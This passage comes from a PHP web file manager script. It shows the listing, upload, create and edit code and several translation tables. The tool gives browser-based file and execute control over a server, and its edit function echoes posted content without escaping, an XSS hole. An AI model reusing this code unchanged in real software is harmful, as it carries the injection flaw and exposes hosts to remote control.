1117 <td class="filename" title="' . html($timestamps) . '">';
1118
1119 if ($file['is_link']) {
1120
1121 echo '<img src="' . $self . '?image=link" alt="link" /> ';
1122 echo html($file['filename']) . ' → ';
1123
1124 $real_file = relative2absolute($file['target'], $directory);
1125
1126 if (@is_readable($real_file)) {
1127 if (@is_dir($real_file)) {
1128 echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
1129 } else {
1130 echo '<a href="' . $self . '?action=view&file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
1131 }
1132 } else {
1133 echo html($file['target']);
1134 }
1135
1136 } elseif ($file['is_dir']) {
1137
1138 echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
1139 if ($win || $file['is_executable']) {
1140 echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
1141 } else {
1142 echo html($file['filename']);
1143 }
1144 echo ' ]';
1145
1146 } else {
1147
1148 if (substr($file['filename'], 0, 1) == '.') {
1149 echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
1150 } else {
1151 echo '<img src="' . $self . '?image=file" alt="file" /> ';
1152 }
1153
1154 if ($file['is_file'] && $file['is_readable']) {
1155 echo '<a href="' . $self . '?action=view&file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
1156 } else {
1157 echo html($file['filename']);
1158 }
1159
1160 }
1161
1162 if ($file['size'] >= 1000) {
1163 $human = ' title="' . human_filesize($file['size']) . '"';
1164 } else {
1165 $human = '';
1166 }
1167
1168 echo "</td>\n";
1169
1170 echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
1171
1172 if (!$win) {
1173
1174 echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
1175
1176 $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
1177 if ($l) echo '<a href="' . $self . '?action=permission&file=' . urlencode($file['path']) . '&dir=' . urlencode($directory) . '">';
1178 echo html(permission_octal2string($file['permission']));
1179 if ($l) echo '</a>';
1180
1181 echo "</td>\n";
1182
1183 if (array_key_exists('owner_name', $file)) {
1184 echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
1185 } else {
1186 echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
1187 }
1188
1189 if (array_key_exists('group_name', $file)) {
1190 echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
1191 } else {
1192 echo "\t<td class=\"group\">{$file['group']}</td>\n";
1193 }
1194
1195 }
1196
1197 echo ' <td class="functions">
1198 <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
1199';
1200
1201 $actions = array();
1202 if (function_exists('symlink')) {
1203 $actions[] = 'create_symlink';
1204 }
1205 if (@is_writable(dirname($file['path']))) {
1206 $actions[] = 'delete';
1207 $actions[] = 'rename';
1208 $actions[] = 'move';
1209 }
1210 if ($file['is_file'] && $file['is_readable']) {
1211 $actions[] = 'copy';
1212 $actions[] = 'download';
1213 if ($file['is_writable']) $actions[] = 'edit';
1214 }
1215 if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
1216 $actions[] = 'execute';
1217 }
1218
1219 if (sizeof($actions) > 0) {
1220
1221 echo ' <select class="small" name="action' . $i . '" size="1">
1222 <option value="">' . str_repeat(' ', 30) . '</option>
1223';
1224
1225 foreach ($actions as $action) {
1226 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
1227 }
1228
1229 echo ' </select>
1230 <input class="small" type="submit" name="submit' . $i . '" value=" > " onfocus="activate(\'other\')" />
1231';
1232
1233 }
1234
1235 echo ' </td>
1236</tr>
1237';
1238
1239 }
1240
1241 echo '<tr class="listing_footer">
1242 <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt=">" /></td>
1243 <td colspan="' . ($cols - 1) . '">
1244 <input type="hidden" name="num" value="' . sizeof($list) . '" />
1245 <input type="hidden" name="focus" value="" />
1246 <input type="hidden" name="olddir" value="' . html($directory) . '" />
1247';
1248
1249 $actions = array();
1250 if (@is_writable(dirname($file['path']))) {
1251 $actions[] = 'delete';
1252 $actions[] = 'move';
1253 }
1254 $actions[] = 'copy';
1255
1256 echo ' <select class="small" name="action_all" size="1">
1257 <option value="">' . str_repeat(' ', 30) . '</option>
1258';
1259
1260 foreach ($actions as $action) {
1261 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
1262 }
1263
1264 echo ' </select>
1265 <input class="small" type="submit" name="submit_all" value=" > " onfocus="activate(\'other\')" />
1266 </td>
1267</tr>
1268';
1269
1270}
1271
1272function column_title ($column, $sort, $reverse) {
1273 global $self, $directory;
1274
1275 $d = 'dir=' . urlencode($directory) . '&';
1276
1277 $arr = '';
1278 if ($sort == $column) {
1279 if (!$reverse) {
1280 $r = '&reverse=true';
1281 $arr = ' ∧';
1282 } else {
1283 $arr = ' ∨';
1284 }
1285 } else {
1286 $r = '';
1287 }
1288 echo "\t<th class=\"$column\"><a href=\"$self?{$d}sort=$column$r\">" . word($column) . "</a>$arr</th>\n";
1289
1290}
1291
1292function directory_choice () {
1293 global $directory, $homedir, $cols, $self;
1294
1295 echo '<tr>
1296 <td colspan="' . $cols . '" id="directory">
1297 <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
1298 <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
1299 <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
1300 </td>
1301</tr>
1302';
1303
1304}
1305
1306function upload_box () {
1307 global $cols;
1308
1309 echo '<tr>
1310 <td colspan="' . $cols . '" id="upload">
1311 ' . word('file') . ':
1312 <input type="file" name="upload" onfocus="activate(\'other\')" />
1313 <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
1314 </td>
1315</tr>
1316';
1317
1318}
1319
1320function create_box () {
1321 global $cols;
1322
1323 echo '<tr>
1324 <td colspan="' . $cols . '" id="create">
1325 <select name="create_type" size="1" onfocus="activate(\'create\')">
1326 <option value="file">' . word('file') . '</option>
1327 <option value="directory">' . word('directory') . '</option>
1328 </select>
1329 <input type="text" name="create_name" onfocus="activate(\'create\')" />
1330 <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
1331 </td>
1332</tr>
1333';
1334
1335}
1336
1337function edit ($file) {
1338 global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
1339
1340 html_header();
1341
1342 echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
1343
1344<form action="' . $self . '" method="post">
1345
1346<table class="dialog">
1347<tr>
1348<td class="dialog">
1349
1350 <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
1351
1352 if (array_key_exists('content', $_POST)) {
1353 echo $_POST['content'];
1354 } else {
1355 $f = fopen($file, 'r');
1356 while (!feof($f)) {
1357 echo html(fread($f, 8192));
1358 }
1359 fclose($f);
1360 }
1361
1362 if (!empty($_POST['user'])) {
1363 echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
1364 }
1365 if (!empty($_POST['basic_auth'])) {
1366 if ($win) {
1367 $authfile = str_replace('\\', '/', $directory) . $htpasswd;
1368 } else {
1369 $authfile = $directory . $htpasswd;
1370 }
1371 echo "\nAuthType Basic\nAuthName "Restricted Directory"\n";
1372 echo 'AuthUserFile "' . html($authfile) . ""\n";
1373 echo 'Require valid-user';
1374 }
1375
1376 echo '</textarea>
1377
1378 <hr />
1379';
1380
1381 if ($apache && basename($file) == $htpasswd) {
1382 echo '
1383 ' . word('user') . ': <input type="text" name="user" />
1384 ' . word('password') . ': <input type="password" name="password" />
1385 <input type="submit" value="' . word('add') . '" />
1386
1387 <hr />
1388';
1389
1390 }
1391
1392 if ($apache && basename($file) == $htaccess) {
1393 echo '
1394 <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
1395
1396 <hr />
1397';
1398
1399 }
1400
1401 echo '
1402 <input type="hidden" name="action" value="edit" />
1403 <input type="hidden" name="file" value="' . html($file) . '" />
1404 <input type="hidden" name="dir" value="' . html($directory) . '" />
1405 <input type="reset" value="' . word('reset') . '" id="red_button" />
1406 <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
1407
1408</td>
1409</tr>
1410</table>
1411
1412<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
1413
1414</form>
1415
1416';
1417
1418 html_footer();
1419
1420}
1421
1422function spacer () {
1423 global $cols;
1424
1425 echo '<tr>
1426 <td colspan="' . $cols . '" style="height: 1em"></td>
1427</tr>
1428';
1429
1430}
1431
1432function textfieldsize ($content) {
1433
1434 $size = strlen($content) + 5;
1435 if ($size < 30) $size = 30;
1436
1437 return $size;
1438
1439}
1440
1441function request_dump () {
1442
1443 foreach ($_REQUEST as $key => $value) {
1444 echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
1445 }
1446
1447}
1448
1449/* ------------------------------------------------------------------------- */
1450
1451function html ($string) {
1452 global $site_charset;
1453 return htmlentities($string, ENT_COMPAT, $site_charset);
1454}
1455
1456function word ($word) {
1457 global $words, $word_charset;
1458 return htmlentities($words[$word], ENT_COMPAT, $word_charset);
1459}
1460
1461function phrase ($phrase, $arguments) {
1462 global $words;
1463 static $search;
1464
1465 if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
1466
1467 for ($i = 0; $i < sizeof($arguments); $i++) {
1468 $arguments[$i] = nl2br(html($arguments[$i]));
1469 }
1470
1471 $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
1472
1473 return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
1474
1475}
1476
1477function getwords ($lang) {
1478 global $date_format, $word_charset;
1479 $word_charset = 'UTF-8';
1480
1481 switch ($lang) {
1482 case 'de':
1483
1484 $date_format = 'd.m.y H:i:s';
1485
1486 return array(
1487'directory' => 'Verzeichnis',
1488'file' => 'Datei',
1489'filename' => 'Dateiname',
1490
1491'size' => 'Größe',
1492'permission' => 'Rechte',
1493'owner' => 'Eigner',
1494'group' => 'Gruppe',
1495'other' => 'Andere',
1496'functions' => 'Funktionen',
1497
1498'read' => 'lesen',
1499'write' => 'schreiben',
1500'execute' => 'ausführen',
1501
1502'create_symlink' => 'Symlink erstellen',
1503'delete' => 'löschen',
1504'rename' => 'umbenennen',
1505'move' => 'verschieben',
1506'copy' => 'kopieren',
1507'edit' => 'editieren',
1508'download' => 'herunterladen',
1509'upload' => 'hochladen',
1510'create' => 'erstellen',
1511'change' => 'wechseln',
1512'save' => 'speichern',
1513'set' => 'setze',
1514'reset' => 'zurücksetzen',
1515'relative' => 'Pfad zum Ziel relativ',
1516
1517'yes' => 'Ja',
1518'no' => 'Nein',
1519'back' => 'zurück',
1520'destination' => 'Ziel',
1521'symlink' => 'Symbolischer Link',
1522'no_output' => 'keine Ausgabe',
1523
1524'user' => 'Benutzername',
1525'password' => 'Kennwort',
1526'add' => 'hinzufügen',
1527'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',
1528
1529'uploaded' => '"[%1]" wurde hochgeladen.',
1530'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
1531'already_exists' => '"[%1]" existiert bereits.',
1532'created' => '"[%1]" wurde erstellt.',
1533'not_created' => '"[%1]" konnte nicht erstellt werden.',
1534'really_delete' => 'Sollen folgende Dateien wirklich gelöscht werden?',
1535'deleted' => "Folgende Dateien wurden gelöscht:\n[%1]",
1536'not_deleted' => "Folgende Dateien konnten nicht gelöscht werden:\n[%1]",
1537'rename_file' => 'Benenne Datei um:',
1538'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
1539'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
1540'move_files' => 'Verschieben folgende Dateien:',
1541'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
1542'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
1543'copy_files' => 'Kopiere folgende Dateien:',
1544'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
1545'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
1546'not_edited' => '"[%1]" kann nicht editiert werden.',
1547'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
1548'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
1549'saved' => '"[%1]" wurde gespeichert.',
1550'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
1551'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
1552'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
1553'permission_for' => 'Rechte für "[%1]":',
1554'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
1555'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
1556'not_readable' => '"[%1]" kann nicht gelesen werden.'
1557 );
1558
1559 case 'fr':
1560
1561 $date_format = 'd.m.y H:i:s';
1562
1563 return array(
1564'directory' => 'Répertoire',
1565'file' => 'Fichier',
1566'filename' => 'Nom fichier',
1567
1568'size' => 'Taille',
1569'permission' => 'Droits',
1570'owner' => 'Propriétaire',
1571'group' => 'Groupe',
1572'other' => 'Autres',
1573'functions' => 'Fonctions',
1574
1575'read' => 'Lire',
1576'write' => 'Ecrire',
1577'execute' => 'Exécuter',
1578
1579'create_symlink' => 'Créer lien symbolique',
1580'delete' => 'Effacer',
1581'rename' => 'Renommer',
1582'move' => 'Déplacer',
1583'copy' => 'Copier',
1584'edit' => 'Ouvrir',
1585'download' => 'Télécharger sur PC',
1586'upload' => 'Télécharger sur serveur',
1587'create' => 'Créer',
1588'change' => 'Changer',
1589'save' => 'Sauvegarder',
1590'set' => 'Exécuter',
1591'reset' => 'Réinitialiser',
1592'relative' => 'Relatif',
1593
1594'yes' => 'Oui',
1595'no' => 'Non',
1596'back' => 'Retour',
1597'destination' => 'Destination',
1598'symlink' => 'Lien symbollique',
1599'no_output' => 'Pas de sortie',
1600
1601'user' => 'Utilisateur',
1602'password' => 'Mot de passe',
1603'add' => 'Ajouter',
1604'add_basic_auth' => 'add basic-authentification',
1605
1606'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
1607'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
1608'already_exists' => '"[%1]" existe déjà .',
1609'created' => '"[%1]" a été créé.',
1610'not_created' => '"[%1]" n a pas pu être créé.',
1611'really_delete' => 'Effacer le fichier?',
1612'deleted' => "Ces fichiers ont été détuits:\n[%1]",
1613'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]",
1614'rename_file' => 'Renomme fichier:',
1615'renamed' => '"[%1]" a été renommé en "[%2]".',
1616'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".',
1617'move_files' => 'Déplacer ces fichiers:',
1618'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
1619'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
1620'copy_files' => 'Copier ces fichiers:',
1621'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
1622'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
1623'not_edited' => '"[%1]" ne peut être ouvert.',
1624'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
1625'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
1626'saved' => '"[%1]" a été sauvegardé.',
1627'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
1628'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
1629'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
1630'permission_for' => 'Droits de "[%1]":',
1631'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
1632'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
1633'not_readable' => '"[%1]" ne peut pas être ouvert.'
1634 );
1635
1636 case 'it':
1637
1638 $date_format = 'd-m-Y H:i:s';
1639
1640 return array(
1641'directory' => 'Directory',
1642'file' => 'File',
1643'filename' => 'Nome File',
1644
1645'size' => 'Dimensioni',
1646'permission' => 'Permessi',
1647'owner' => 'Proprietario',
1648'group' => 'Gruppo',
1649'other' => 'Altro',
1650'functions' => 'Funzioni',
1651
1652'read' => 'leggi',
1653'write' => 'scrivi',
1654'execute' => 'esegui',
1655
1656'create_symlink' => 'crea link simbolico',
1657'delete' => 'cancella',
1658'rename' => 'rinomina',
1659'move' => 'sposta',
1660'copy' => 'copia',
1661'edit' => 'modifica',
1662'download' => 'download',
1663'upload' => 'upload',
1664'create' => 'crea',
1665'change' => 'cambia',
1666'save' => 'salva',
1667'set' => 'imposta',
1668'reset' => 'reimposta',
1669'relative' => 'Percorso relativo per la destinazione',
1670
1671'yes' => 'Si',
1672'no' => 'No',
1673'back' => 'indietro',
1674'destination' => 'Destinazione',
1675'symlink' => 'Link simbolico',
1676'no_output' => 'no output',
1677
1678'user' => 'User',
1679'password' => 'Password',
1680'add' => 'aggiungi',
1681'add_basic_auth' => 'aggiungi autenticazione base',
1682
1683'uploaded' => '"[%1]" è stato caricato.',
1684'not_uploaded' => '"[%1]" non è stato caricato.',
1685'already_exists' => '"[%1]" esiste già .',
1686'created' => '"[%1]" è stato creato.',
1687'not_created' => '"[%1]" non è stato creato.',
1688'really_delete' => 'Cancello questi file ?',
1689'deleted' => "Questi file sono stati cancellati:\n[%1]",
1690'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
1691'rename_file' => 'File rinominato:',
1692'renamed' => '"[%1]" è stato rinominato in "[%2]".',
1693'not_renamed' => '"[%1] non è stato rinominato in "[%2]".',
1694'move_files' => 'Sposto questi file:',
1695'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
1696'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
1697'copy_files' => 'Copio questi file',
1698'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
1699'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
1700'not_edited' => '"[%1]" non può essere modificato.',
1701'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
1702'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
1703'saved' => '"[%1]" è stato salvato.',
1704'not_saved' => '"[%1]" non è stato salvato.',
1705'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
1706'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
1707'permission_for' => 'Permessi di "[%1]":',
1708'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
1709'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
1710'not_readable' => '"[%1]" non può essere letto.'
1711 );
1712
1713 case 'nl':
1714
1715 $date_format = 'n/j/y H:i:s';
1716
1717 return array(
1718'directory' => 'Directory',
1719'file' => 'Bestand',
1720'filename' => 'Bestandsnaam',
1721
1722'size' => 'Grootte',
1723'permission' => 'Bevoegdheid',
1724'owner' => 'Eigenaar',
1725'group' => 'Groep',
1726'other' => 'Anderen',
1727'functions' => 'Functies',
1728
1729'read' => 'lezen',
1730'write' => 'schrijven',
1731'execute' => 'uitvoeren',
1732
1733'create_symlink' => 'maak symlink',
1734'delete' => 'verwijderen',
1735'rename' => 'hernoemen',
1736'move' => 'verplaatsen',
1737'copy' => 'kopieren',
1738'edit' => 'bewerken',
1739'download' => 'downloaden',
1740'upload' => 'uploaden',
1741'create' => 'aanmaken',
1742'change' => 'veranderen',
1743'save' => 'opslaan',
1744'set' => 'instellen',
1745'reset' => 'resetten',
1746'relative' => 'Relatief pat naar doel',
1747
1748'yes' => 'Ja',
1749'no' => 'Nee',
1750'back' => 'terug',
1751'destination' => 'Bestemming',
1752'symlink' => 'Symlink',
1753'no_output' => 'geen output',
1754
1755'user' => 'Gebruiker',
1756'password' => 'Wachtwoord',
1757'add' => 'toevoegen',
1758'add_basic_auth' => 'add basic-authentification',
1759
1760'uploaded' => '"[%1]" is verstuurd.',
1761'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
1762'already_exists' => '"[%1]" bestaat al.',
1763'created' => '"[%1]" is aangemaakt.',
1764'not_created' => '"[%1]" kan niet worden aangemaakt.',
1765'really_delete' => 'Deze bestanden verwijderen?',
1766'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
1767'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
1768'rename_file' => 'Bestandsnaam veranderen:',
1769'renamed' => '"[%1]" heet nu "[%2]".',
1770'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
1771'move_files' => 'Verplaats deze bestanden:',
1772'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
1773'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
1774'copy_files' => 'Kopieer deze bestanden:',
1775'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
1776'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
1777'not_edited' => '"[%1]" kan niet worden bewerkt.',
1778'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
1779'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
1780'saved' => '"[%1]" is opgeslagen.',
1781'not_saved' => '"[%1]" is niet opgeslagen.',
1782'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
1783'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
1784'permission_for' => 'Bevoegdheid voor "[%1]":',
1785'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
1786'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
1787'not_readable' => '"[%1]" kan niet worden gelezen.'
1788 );
1789
1790 case 'se':
1791
1792 $date_format = 'n/j/y H:i:s';
1793
1794 return array(
1795'directory' => 'Mapp',
1796'file' => 'Fil',
1797'filename' => 'Filnamn',
1798
1799'size' => 'Storlek',
1800'permission' => 'Säkerhetsnivå',
1801'owner' => 'Ägare',
1802'group' => 'Grupp',
1803'other' => 'Andra',
1804'functions' => 'Funktioner',
1805
1806'read' => 'Läs',
1807'write' => 'Skriv',
1808'execute' => 'Utför',
1809
1810'create_symlink' => 'Skapa symlink',
1811'delete' => 'Radera',
1812'rename' => 'Byt namn',
1813'move' => 'Flytta',
1814'copy' => 'Kopiera',
1815'edit' => 'Ändra',
1816'download' => 'Ladda ner',
1817'upload' => 'Ladda upp',
1818'create' => 'Skapa',
1819'change' => 'Ändra',
1820'save' => 'Spara',
1821'set' => 'Markera',
1822'reset' => 'Töm',
1823'relative' => 'Relative path to target',
1824
1825'yes' => 'Ja',
1826'no' => 'Nej',
1827'back' => 'Tillbaks',
1828'destination' => 'Destination',
1829'symlink' => 'Symlink',
1830'no_output' => 'no output',
1831
1832'user' => 'Användare',
1833'password' => 'Lösenord',
1834'add' => 'Lägg till',
1835'add_basic_auth' => 'add basic-authentification',
1836
1837'uploaded' => '"[%1]" har laddats upp.',
1838'not_uploaded' => '"[%1]" kunde inte laddas upp.',
1839'already_exists' => '"[%1]" finns redan.',
1840'created' => '"[%1]" har skapats.',
1841'not_created' => '"[%1]" kunde inte skapas.',
1842'really_delete' => 'Radera dessa filer?',
1843'deleted' => "De här filerna har raderats:\n[%1]",
1844'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
1845'rename_file' => 'Byt namn på fil:',
1846'renamed' => '"[%1]" har bytt namn till "[%2]".',
1847'not_renamed' => '"[%1] kunde inte döpas om till "[%2]".',
1848'move_files' => 'Flytta dessa filer:',
1849'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
1850'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
1851'copy_files' => 'Kopiera dessa filer:',
1852'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
1853'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
1854'not_edited' => '"[%1]" kan inte ändras.',
1855'executed' => "\"[%1]\" har utförts:\n{%2}",
1856'not_executed' => "\"[%1]\" kunde inte utföras:\n{%2}",
1857'saved' => '"[%1]" har sparats.',
1858'not_saved' => '"[%1]" kunde inte sparas.',
1859'symlinked' => 'Symlink från "[%2]" till "[%1]" har skapats.',
1860'not_symlinked' => 'Symlink från "[%2]" till "[%1]" kunde inte skapas.',
1861'permission_for' => 'Rättigheter för "[%1]":',
1862'permission_set' => 'Rättigheter för "[%1]" ändrades till [%2].',
1863'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
1864'not_readable' => '"[%1]" kan inte läsas.'
1865 );
1866
1867 case 'sp':
1868
1869 $date_format = 'j/n/y H:i:s';
1870
1871 return array(
1872'directory' => 'Directorio',
1873'file' => 'Archivo',
1874'filename' => 'Nombre Archivo',
1875
1876'size' => 'Tamaño',
1877'permission' => 'Permisos',
1878'owner' => 'Propietario',
1879'group' => 'Grupo',
1880'other' => 'Otros',
1881'functions' => 'Funciones',
1882
1883'read' => 'lectura',
1884'write' => 'escritura',
1885'execute' => 'ejecución',
1886
1887'create_symlink' => 'crear enlace',
1888'delete' => 'borrar',
1889'rename' => 'renombrar',
1890'move' => 'mover',
1891'copy' => 'copiar',
1892'edit' => 'editar',
1893'download' => 'bajar',
1894'upload' => 'subir',
1895'create' => 'crear',
1896'change' => 'cambiar',
1897'save' => 'salvar',
1898'set' => 'setear',
1899'reset' => 'resetear',
1900'relative' => 'Path relativo',
1901
1902'yes' => 'Si',
1903'no' => 'No',
1904'back' => 'atrás',
1905'destination' => 'Destino',
1906'symlink' => 'Enlace',
1907'no_output' => 'sin salida',
1908
1909'user' => 'Usuario',
1910'password' => 'Clave',
1911'add' => 'agregar',
1912'add_basic_auth' => 'agregar autentificación básica',
1913
1914'uploaded' => '"[%1]" ha sido subido.',
1915'not_uploaded' => '"[%1]" no pudo ser subido.',
1916'already_exists' => '"[%1]" ya existe.',
1917'created' => '"[%1]" ha sido creado.',
1918'not_created' => '"[%1]" no pudo ser creado.',
1919'really_delete' => '¿Borra estos archivos?',
1920'deleted' => "Estos archivos han sido borrados:\n[%1]",
1921'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
1922'rename_file' => 'Renombra archivo:',
1923'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
1924'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
1925'move_files' => 'Mover estos archivos:',
1926'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
1927'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
1928'copy_files' => 'Copiar estos archivos:',
1929'copied' => "Estos archivos han sido copiados a \"[%2]\":\n[%1]",
1930'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
1931'not_edited' => '"[%1]" no pudo ser editado.',
1932'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
1933'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
1934'saved' => '"[%1]" ha sido salvado.',
1935'not_saved' => '"[%1]" no pudo ser salvado.',
1936'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
1937'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
1938'permission_for' => 'Permisos de "[%1]":',
1939'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
1940'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
1941'not_readable' => '"[%1]" no pudo ser leÃdo.'
1942 );
1943
1944 case 'dk':
1945
1946 $date_format = 'n/j/y H:i:s';
1947
1948 return array(
1949'directory' => 'Mappe',
1950'file' => 'Fil',
1951'filename' => 'Filnavn',
1952
1953'size' => 'Størrelse',
1954'permission' => 'Rettighed',
1955'owner' => 'Ejer',
1956'group' => 'Gruppe',
1957'other' => 'Andre',
1958'functions' => 'Funktioner',
1959
1960'read' => 'læs',
1961'write' => 'skriv',
1962'execute' => 'kør',
1963
1964'create_symlink' => 'opret symbolsk link',
1965'delete' => 'slet',
1966'rename' => 'omdøb',
1967'move' => 'flyt',
1968'copy' => 'kopier',
1969'edit' => 'rediger',
1970'download' => 'download',
1971'upload' => 'upload',
1972'create' => 'opret',
1973'change' => 'skift',
1974'save' => 'gem',
1975'set' => 'sæt',
1976'reset' => 'nulstil',
1977'relative' => 'Relativ sti til valg',
1978
1979'yes' => 'Ja',
1980'no' => 'Nej',
1981'back' => 'tilbage',
1982'destination' => 'Distination',
1983'symlink' => 'Symbolsk link',
1984'no_output' => 'ingen resultat',
1985
1986'user' => 'Bruger',
1987'password' => 'Kodeord',
1988'add' => 'tilføj',
1989'add_basic_auth' => 'tilføj grundliggende rettigheder',
1990
1991'uploaded' => '"[%1]" er blevet uploaded.',
1992'not_uploaded' => '"[%1]" kunnu ikke uploades.',
1993'already_exists' => '"[%1]" findes allerede.',
1994'created' => '"[%1]" er blevet oprettet.',
1995'not_created' => '"[%1]" kunne ikke oprettes.',
1996'really_delete' => 'Slet disse filer?',
1997'deleted' => "Disse filer er blevet slettet:\n[%1]",
1998'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
1999'rename_file' => 'Omdød fil:',
